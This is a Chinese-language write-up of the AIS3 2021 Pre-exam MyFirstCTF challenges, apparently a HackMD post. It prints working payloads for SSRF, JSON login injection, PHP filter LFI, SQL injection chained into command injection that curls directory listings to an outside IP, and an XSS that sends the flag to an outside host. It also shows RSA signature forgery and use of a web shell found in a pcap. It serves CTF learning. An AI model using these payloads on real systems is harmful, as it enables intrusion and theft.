---
tags: AIS3
author: 王博靚
LikerID: ching367436
---
# AIS3 Pre-exam MyFirstCTF 2021 Write Up
## HAAS
![](https://i.imgur.com/iT5eaBr.png)
> 當天的前天剛好正發現某個網站的 SSRF
> -Hyp
試著讓伺服器對自己送出請求
使用`127.0.0.1`
發現會過濾
直接上 loopback.chi36.ml
loopback.chi36.ml -> 127.0.0.1
AIS3{V3rY_v3rY_V3ry_345Y_55rF}
![](https://i.imgur.com/g2mwN27.png)
## ⲩⲉⲧ ⲁⲛⲟⲧⲏⲉꞅ 𝓵ⲟ𝓰ⲓⲛ ⲣⲁ𝓰ⲉ
![](https://i.imgur.com/C8TLVxa.png)
看到 Source Code 登入部分
```python
@app.route("/login", methods=['POST'])
def login():
data = '{"showflag": false, "username": "%s", "password": "%s"}' % (
request.form["username"], request.form['password']
)
session['user_data'] = data
return redirect("/")
```
看起來可以幫忙結束雙引號
蓋過前面的直
然後可以
接著來看 flag 的部分
```python=
@app.route("/")
def index():
def valid_user(user):
return users_db.get(user['username']) == user['password']
if 'user_data' not in session:
return render_template("login.html", message="Login Please :D")
user = json.loads(session['user_data'])
if valid_user(user):
if user['showflag'] == True and user['username'] != 'guest':
return FLAG
else:
return render_template("welcome.html", username=user['username'])
return render_template("login.html", message="Verify Failed :(")
```
:4 的`users_db.get(user['username'])`
如果 username 不存的話會是 `None`
`user['password']`也是 `None` 的話就可以通過驗證
JSON 的 null 會解析成 `None` 所以
```
username = guest
password = ", "showflag": true, "username": "hyp", "password": null, "h": "h
```
![](https://i.imgur.com/HgbEdCL.png)
## Cat Slayer ᶠᵃᵏᵉ | Nekogoroshi
`I believe what you said`
BGM: https://youtu.be/9-NusuQ8JaA
Tutorial Video: https://youtu.be/2b3Oqo13-r0?t=1296
:::danger
:warning: Tutorial Video 可能不適合某些人觀看
:::
題目要你輸入密碼
打入以下數字即可拿到 flag
```
2025830455293
```
AIS3{H1n4m1z4w4_Sh0k0gun}
![](https://i.imgur.com/CtiFObR.png)
![](https://i.imgur.com/6mNiOwg.png)
## 【5/22 重要公告】
看 有 LFI Style 的 api
![](https://i.imgur.com/6GL5wEm.png)
直接上 `php://filter`
```
http://quiz.ais3.org:8001/?module=php://filter/
convert.base64-encode/
resource=./modules/api
```
```php
<?php
header('Content-Type: application/json');
include "config.php";
$db = new SQLite3(SQLITE_DB_PATH);
if (isset($_GET['id'])) {
$data = $db-
```
試試 `php://filter/read`
```
http://quiz.ais3.org:8001/?module=php://filter/read=string.rot13/resource=modules/api
```
```php
querySingle("SELECT name, host, port FROM challenges WHERE id=${_GET['id']}", true);
$host = str_replace(' ', '', $data['host']);
$port = (int) $data['port']; $data['alive'] = strstr(shell_exec("timeout 1 nc -vz '$host' $port 2>&1"), "succeeded") !== FALSE;
echo json_encode($data);
} else {
$json_resp = []; $query_res = $db->query("SELECT * FROM challenges");
while ($row = $query_res->fetchArray(SQLITE3_ASSOC)) $json_resp[] = $row;
echo json_encode($json_resp);
}
```
pretty print 後
```php=
<?php
header('Content-Type: application/json');
include "config.php";
$db = new SQLite3('SQLITE_DB_PATH');
if (isset($_GET['id'])) {
$data = $db->querySingle("SELECT name, host, port FROM challenges WHERE id=${_GET['id']}", true);
$host = str_replace(' ', '', $data['host']);
$port = (int) $data['port'];
$data['alive'] = strstr(shell_exec("timeout 1 nc -vz '$host' $port 2>&1"), "succeeded") !== FALSE;
echo json_encode($data);
} else {
$json_resp = [];
$query_res = $db->query("SELECT * FROM challenges");
while ($row = $query_res->fetchArray(SQLITE3_ASSOC)) $json_resp[] = $row;
echo json_encode($json_resp);
}
```
:8 可以 SQLi
:11 有 `shell_exec`
所以由 SQLi 控制 `$host` 來使用 `shell_exec`
不過 :9 會鍋爐空格
所以改用 `<Tab>`
```
http://quiz.ais3.org:8001/?module=modules/api&&id=1 and 1=2 UNION SELECT
(SELECT 234),
"
h.chi36.ml'%0980%09;curl%093.85.129.0/$(ls|base64)'
",
'80'
```
```
challenges.db
config.php
index.php
modules
```
```shell
ls /
```
```
bin
boot
dev
etc
flag_81c015863174cd0c14034cc60767c7f5
ho
```
```shell
cat /flag_81c015863174cd0c14034cc60767c7f5
```
```
AIS3{o1d_skew1_w3b_tr1cks_co11ect10n_:D}
```
## questionnaire
AIS3{youweregreat}
![](https://i.imgur.com/Zye3TKq.png)
## Judgement
題目加密方式
```python
for c in flag:
assert(c in cand)
enc += charset[int(sha256(c.encode()).hexdigest(), 16) % len(charset)]
```
```
output: )g;Fk@>2g;2V2J?d5G3_8V2<dR2i5GZ@<?2)g\j_2V&?2;@[F@ek2_3"=k&;2)\F2J9LL4g[W2"[2<)RZ23@<?2elFZ?2=@jZ23@=F2Yi52;lL5Vj2J?2J8\e@eW23e2lF330
```
以題意
算出可能性
```python
o = ')g;Fk@>2g;2V2J?d5G3_8V2<dR2i5GZ@<?2)g\j_2V&?2;@[F@ek2_3"=k&;2)\F2J9LL4g[W2"[2<)RZ23@<?2elFZ?2=@jZ23@=F2Yi52;lL5Vj2J?2J8\e@eW23e2lF330'
res = ""
for ch in o:
local_res = ""
for guess in charset:
out = charset[int(sha256(guess.encode()).hexdigest(), 16) % len(charset)]
if out == ch:
local_res += guess
res += " " + local_res
```
```
8A I S 3vG' 9xE{ i TX _ I S _ 4LM _ B( e a uZ 2t 1 5qFH U-= 4LM _ cdK a y _ 0 uZ 2t s i cdK e _ 8A I r D| 5qFH _ 4LM R e _ S i N 3vG' i 7n 9xE{ _ 5qFH 1 o kwQ 9xE{ R S _ 8A r 3vG' _ B( l O" O" m@ I N 6 _ o N _ cdK 8A y s _ 1 i cdK e _ 7n h 3vG' s e _ kwQ i D| s _ 1 i kwQ 3vG' _ Y) 0 uZ _ S h O" uZ 4LM D| _ B( e _ B( U-= r 7n i 7n 6 _ 1 7n _ h 3vG' 1 1 ,}
```
AIS3{iT_IS_4_Beaut1FUL_day_0utside_8IrD5_4Re_SiNGin9_F1owERS_Ar3_BlOOmIN6_oN_dAys_1iKe_7h3se_kiDs_1ik3_Y0u_ShOuLD_Be_BUrnin6_1n_h311}
https://zh.moegirl.org.cn/zh-tw/Megalovania
## Microchip
AIS3{w31c0me_t0_AIS3_cryptoO0O0o0Ooo0}
題目
:::spoiler
```cpp=
#include "python.h"
def track(name, id) -> str ꞉ {
if len(name) % 4 == 0 ꞉ ){
padded = name + "4444" ;}
elif len(name) % 4 == 1 ꞉ ){
padded = name + "333" ;}
elif len(name) % 4 == 2 ꞉ ){
padded = name + "22" ;}
elif len(name) % 4 == 3 ꞉ ){
padded = name + "1" ;}
keys = list() ;
temp = id ;
for i in range(4) ꞉ ){
keys.append(temp % 96) ;
temp = int(temp / 96) ;}
result = "" ;
for i in range(0, len(padded), 4) ꞉ ){
nums = list() ;
for j in range(4) ꞉ ){
num = ord(padded[i + j]) - 32 ;
num = (num + keys[j]) % 96 ;
nums.append(num + 32) ;}
result += chr(nums[3]) ;
result += chr(nums[2]) ;
result += chr(nums[1]) ;
result += chr(nums[0]) ;}
return result ;}
def main() -> int ꞉ {
name = open("flag.txt", "r").read().strip() ;
id = int(input("key = ")) ;
print("result is:", track(name, id)) ;
return 0 ;}
```
:::
---
以題意解
:::spoiler
```python=
# m + k = c
# k = c - m
# m = c - k
def decrypt (cypher, key):
res = ""
for i in range(0, len(cypher), 4):
for j in range(len(key))[::-1]:
c = cypher[i+j] - 32
k = key[j]
num = (c-k) % 96
num += 32
res += chr(num)
print(res)
return res
def main ():
input = '''=Js&;*A`odZHi'>D=Js&#i-DYf>Uy'yuyfyu<)Gu'''
cypher = []
key = []
for ch in input:
cypher.append(ord(ch)%96)
# 已知 開頭
begin = "AIS3"[::-1]
print(input)
print(len(input))
for i in range(4):
m = ord(begin[i])
c = cypher[i]
k = (c - m + 96) % 96
key.append(k)
res = decrypt(cypher, key)
print(res)
print(len(res))
if __name__ == '__main__':
main()
```
:::
## ReSident evil villAge
題目
:::spoiler
```python=
import socketserver
from Crypto.PublicKey import RSA
from Crypto.Util.number import *
from binascii import unhexlify
class Task(socketserver.BaseRequestHandler):
def recv(self):
return self.request.recv(1024).strip()
def send(self, msg):
self.request.sendall(msg + b'\n')
def handle(self):
privkey = RSA.generate(1024)
n = privkey.n
e = privkey.e
self.send(b'Welcome to ReSident evil villAge, sign the name "Ethan Winters" to get the flag.')
self.send(b'n = ' + str(n).encode())
self.send(b'e = ' + str(e).encode())
while True:
self.request.sendall(b'1) sign\n2) verify\n3) exit\n')
option = self.recv()
if option == b'1':
self.request.sendall(b'Name (in hex): ')
msg = unhexlify(self.recv())
if msg == b'Ethan Winters' or bytes_to_long(msg) >= n: # msg+k*n not allowed
self.send(b'Nice try!')
else:
sig = pow(bytes_to_long(msg), privkey.d, n) # TODO: Apply hashing first to prevent forgery
self.send(b'Signature: ' + str(sig).encode())
elif option == b'2':
self.request.sendall(b'Signature: ')
sig = int(self.recv())
verified = (pow(sig, e, n) == bytes_to_long(b'Ethan Winters'))
if verified:
self.send(b'AIS3{THIS_IS_A_FAKE_FLAG}')
else:
self.send(b'Well done!')
else:
break
class ForkingServer(socketserver.ForkingTCPServer, socketserver.TCPServer):
pass
if __name__ == "__main__":
HOST, PORT = '0.0.0.0', 42069
print(HOST, PORT)
server = ForkingServer((HOST, PORT), Task)
server.allow_reuse_address = True
server.serve_forever()
```
:::
指數運算提
解
### Srep 2
factorize `Ethan Winters` = a*b
dec:
$a = 33759323085949548325642458097$
$b = 163$
hex:
a = 0x6d150ebb92427fdc8e1053f1
b = 0xa3
### Strp 3
get $c_1=a^d$, $c_2=b^d$
### Step 4
get `Ethan Winters`^d = $c_1 \times c_2$ $in$ $Z_n$
AIS3{R3M383R_70_HAsh_7h3_M3Ssa93_83F0r3_S19N1N9}
:::spoiler
```
ch@CHSMP a % nc quiz.ais3.org 42069
Welcome to ReSident evil villAge, sign the name "Ethan Winters" to get the flag.
n = 154308686914944431184722978303987993607296052541026719427196273541332642000259916005712946802768443349399637684771983111898013974711822855658285431528125904361648682121420911363018223268980617008316682048191188769999251832968635692729215347973075143803853614934582760111987291129960324916550583749724239322723
e = 65537
1) sign
2) verify
3) exit
1
Name (in hex): 6d150ebb92427fdc8e1053f1
Signature: 152696502197165537709876489519424462821039629054065697317918669710344915327324906556301089567051410118196914432287004745241094035518923588323132893715590910319077376616000123331642575757754691624065540965316285895835796315307143918925664756813096204703208996755949243216652724045815717194948769514038388449318
1) sign
2) verify
3) exit
1
Name (in hex): a3
Signature: 87799616000515234657749466045313092409904814284899676843666270078115468043445146946492428343569555692993883937719889614376519097547442830071318924152068557024685955465788961893471673585342147281862676760278133472342448633503565125744704186912119646643611317843550974343194235415342375156786206277939095735158
1) sign
2) verify
3) exit
2
Signature: 13406694257532965029409772363062512736898126727322601914935464325300801281686536004624493562409871135401080459811700289080310387452901606949985268174119348826577610846200427015504113092632954234288903432535707769253854158662816219876694869579297199545672265023296808689693999133197495937716789506447198952041310918916971326391027797591795906027695057598640198811211106119116823094432350735026618042211381881631214641196732105382895723687483194271857174740176342469483878656855782993977780012437599835599267465097674126214687272907479625220756652123136236543637376648532222928549595930638505272359486771331862833722244
AIS3{R3M383R_70_HAsh_7h3_M3Ssa93_83F0r3_S19N1N9}
1) sign
2) verify
3) exit
ch@CHSMP a %
```
:::
## Microcheese
這題玩家可以跳過不下(
server.py:20
:::spoiler
```
+---+-------------- stones info ------------------+
| 0 | o |
| 1 | oooooooo |
+--------------------- moved ---------------------+
| i removed 7 stones from pile 1 |
+---+-------------- stones info ------------------+
| 0 | o |
| 1 | o |
+---+--------------- game menu -------------------+
| 0 | make a move |
| 1 | save the current game and leave |
| 2 | resign the game |
+---+---------------------------------------------+
it's your turn to move! what do you choose? e
+--------------------- moved ---------------------+
| you removed 7 stones from pile 1 |
+---+-------------- stones info ------------------+
| 0 | o |
| 1 | o |
+--------------------- moved ---------------------+
| i removed 1 stones from pile 0 |
+---+-------------- stones info ------------------+
| 0 | o |
+---+--------------- game menu -------------------+
| 0 | make a move |
| 1 | save the current game and leave |
| 2 | resign the game |
+---+---------------------------------------------+
it's your turn to move! what do you choose? 0
which pile do you choose? 0
how many stones do you remove? 1
+---------------- congratulations ----------------+
| you are a true grandmaster of chess! here is |
| the flag for you: |
| AIS3{5._e3_b5_6._a4_Bb4_7._Bd2_a5_8._axb5_Bxc3} |
+-------------------------------------------------+
```
:::
## XSSME
由
http://quiz.ais3.org:8003/logout
發現
http://quiz.ais3.org:8003/?message=Logout%20success!
的 message 可以 XSS
限制為
長度 55
以及 CSP 'self' 'unsafe-inline'
https://splitline.github.io/domain-obfuscator/
這個網站可以縮短網址長度
```
http://quiz.ais3.org:8003/?message=</script><script>location=`//ⓒHi㊱.㎖/x.html`//
```
```
::ffff:10.153.11.126 - - [25/May/2021 15:03:20] "GET /x.html HTTP/1.1" 200 -
```
```http
GET / HTTP/1.1
Host: chi36.ml
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://xss-me/
Accept-Encoding: gzip, deflate
Accept-Language: en-US
```
確定可以XSS
接著是字數的限制
用 `location.hash`來突破
payload
```
http://quiz.ais3.org:8003/?message=</script><script>location=location.hash.slice(1)//#javascript:fetch('getflag').then(e=>e.text()).then(t=>location=`//10.153.2.190/`+t)
```
```http
GET /AIS3%7BXSS_K!NG%7D HTTP/1.1
Host: 10.153.2.190
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://xss-me/
Accept-Encoding: gzip, deflate
Accept-Language: en-US
```
![](https://i.imgur.com/Ewklw4s.png)
這題也可以 CSRF
所以可以讓 admin 對自己發送請求 以行程一個無限迴圈
## [震撼彈] AIS3 官網疑遭駭!
![](https://i.imgur.com/Svz08tX.png)
pcap 中有一個很像shell 的
```http
GET /Index.php?page=%3DogLgMHb HTTP/1.1
Host: magic.ais3.org:8100
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0, no-cache
Pragma: no-cache
```
```
Index.php
index.php
```
page 後面的很像 base64 的 `ls .` reverse 後的
直接訪問 ip 只會看到 nginx
```
http://10.153.11.126:8100/
```
![](https://i.imgur.com/gSw6iAO.png)
從 `/private/etc/hosts` 用好 DNS 後訪問
```
http://magic.ais3.org:8100/Index.php?page=%3DogLgMHb
```
![](https://i.imgur.com/btUqNAt.png)
真的是 shell
```
ls /
```
![](https://i.imgur.com/QJrHZYk.png)
```
cat /flag_c603222fc7a23ee4ae2d59c8eb2ba84d
```
![](https://i.imgur.com/1CiDyQN.png)
## Republic of South Africa [245 pts]
<style>
.likecoin-button {
position: relative;
width: 100%;
max-width: 485px;
max-height: 240px;
margin: 0 auto;
}
.likecoin-button > div {
padding-top: 49.48454%;
}
.likecoin-button > iframe {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
}
</style>
<div class="likecoin-embed likecoin-button">
<div></div>
<iframe scrolling="no" frameborder="0" src="https://button.like.co/in/embed/ching367436/button?referrer=https://hackmd.io/@Ching367436/AIS3_2021_Pre-exam_MyFirstCTF_Write_Up&type=hackMD"></iframe>
</div>
---
原文網址 https://hackmd.io/@Ching367436/AIS3_2021_Pre-exam_MyFirstCTF_Write_Up